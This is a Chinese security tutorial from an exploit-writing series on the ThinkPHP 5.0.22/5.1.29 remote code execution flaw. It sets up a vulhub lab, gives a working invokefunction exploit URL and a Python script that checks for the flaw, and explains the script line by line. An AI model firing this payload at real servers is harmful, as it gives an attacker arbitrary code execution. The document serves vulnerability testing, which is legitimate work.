Python武器库开发-武器库篇之Thinkphp5-5.0.22/5.1.29远程执行代码漏洞 (六十五)

Python武器库开发-武器库篇之Thinkphp5-5.0.22/5.1.29远程执行代码漏洞 (六十五)

漏洞环境搭建

这里我们使用Kali虚拟机安装docker并搭建vulhub靶场来进行ThinkPHP漏洞环境的安装,我们进入 ThinkPHP漏洞环境,可以 cd ThinkPHP,然后通过 ls 查看可以搭建的靶场,目前 vulhub关于 ThinkPHP漏洞。可以搭建的靶场有五个。我们拿 5-rce 漏洞举例,如果我们想要安装 5-rce 漏洞环境,可以 cd 到 5-rce ,然后输入以下命令启动靶场环境:

python 复制代码
docker-compose up -d

然后我们在浏览器输入 https://localhost:8082 就可以访问靶场环境

Thinkphp5-5.0.22/5.1.29远程执行代码漏洞原理

ThinkPHP是一款流行的PHP开发框架,用于快速开发Web应用程序。在ThinkPHP 5.0.22和5.1.29版本中存在一个远程执行代码的漏洞,其中5.0.22版本中已经修复了这个漏洞。

该漏洞的原理是由于未正确过滤用户输入,导致攻击者可以构造恶意的请求,执行任意的PHP代码。具体来说,该漏洞涉及到ThinkPHP的路由函数中的一处代码处理逻辑,攻击者可以通过构造特定的URL请求,在路由函数中绕过正则表达式的限制,进而执行任意的PHP代码。

攻击者可以利用该漏洞来执行恶意的代码,例如删除、修改或者获取敏感数据,以及执行一些恶意操作,例如植入后门,上传恶意文件等。

Thinkphp5-5.0.22/5.1.29远程执行代码漏洞POC

接下来我们给出ThinkPHP 5.0.23-RCE漏洞的POC,代码内容如下:

python 复制代码
http://localhost:8082/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo

Thinkphp5-5.0.22/5.1.29远程执行代码漏洞POC编写

现在我们用python编写检测Thinkphp5-5.0.22/5.1.29远程执行代码漏洞的代码,内容如下:

python 复制代码
#!/usr/bin/env python

import requests
from urllib.parse import urljoin

def thinkphp5x_rce(url):
    poc = r'''/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=handsomewuyue'''
    payload = urljoin(url,poc)
    response = requests.get(url=payload,verify=False)
    if '31664625b85cc0cf91406a4e028ede29' in response.text:
        print('漏洞存在')
    else:
        print('漏洞不存在')

if __name__ == '__main__':
    url = 'http://localhost:8082/'
    thinkphp5x_rce(url)

POC代码详细分析

以上代码是一个Python脚本,主要用于检测ThinkPHP 5.x版本中的一个远程代码执行(RCE)漏洞。下面对代码进行详细分析:

  1. #!/usr/bin/env python:指定脚本使用的解释器为Python。

  2. import requests:导入requests模块,用于发送HTTP请求。

  3. from urllib.parse import urljoin:导入urljoin函数,用于拼接URL。

  4. def thinkphp5x_rce(url)::定义一个名为thinkphp5x_rce的函数,接受一个参数url

  5. poc =r'''/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=handsomewuyue''':定义一个名为poc的变量,存储一个URL路径,该路径会触发ThinkPHP5.x版本中的RCE漏洞。

  6. payload = urljoin(url,poc):使用urljoin函数拼接urlpoc,生成完整的URL。

  7. response =requests.get(url=payload,verify=False):使用requests.get发送GET请求,传递生成的完整URL作为参数,并且关闭SSL验证。

  8. if '31664625b85cc0cf91406a4e028ede29' in response.text::检查response.text中是否包含特定的字符串31664625b85cc0cf91406a4e028ede29

  9. print('漏洞存在'):如果特定字符串存在,则输出"漏洞存在"。

  10. else::如果特定字符串不存在。

  11. print('漏洞不存在'):输出"漏洞不存在"。

  12. if __name__ == '__main__'::判断当前模块是否作为主程序运行。

  13. url = 'http://localhost:8082/':定义一个名为url的变量,存储目标URL地址。

  14. thinkphp5x_rce(url):调用thinkphp5x_rce函数,并传递url作为参数。

运行效果图

如下是我们这串代码的实际运行效果图:

相关推荐
轻口味8 分钟前
命名空间与模块化概述
开发语言·前端·javascript
晓纪同学1 小时前
QT-简单视觉框架代码
开发语言·qt
威桑1 小时前
Qt SizePolicy详解:minimum 与 minimumExpanding 的区别
开发语言·qt·扩张策略
飞飞-躺着更舒服1 小时前
【QT】实现电子飞行显示器(简易版)
开发语言·qt
明月看潮生1 小时前
青少年编程与数学 02-004 Go语言Web编程 16课题、并发编程
开发语言·青少年编程·并发编程·编程与数学·goweb
明月看潮生1 小时前
青少年编程与数学 02-004 Go语言Web编程 17课题、静态文件
开发语言·青少年编程·编程与数学·goweb
Java Fans1 小时前
C# 中串口读取问题及解决方案
开发语言·c#
盛派网络小助手1 小时前
微信 SDK 更新 Sample,NCF 文档和模板更新,更多更新日志,欢迎解锁
开发语言·人工智能·后端·架构·c#
算法小白(真小白)2 小时前
低代码软件搭建自学第二天——构建拖拽功能
python·低代码·pyqt
唐小旭2 小时前
服务器建立-错误:pyenv环境建立后python版本不对
运维·服务器·python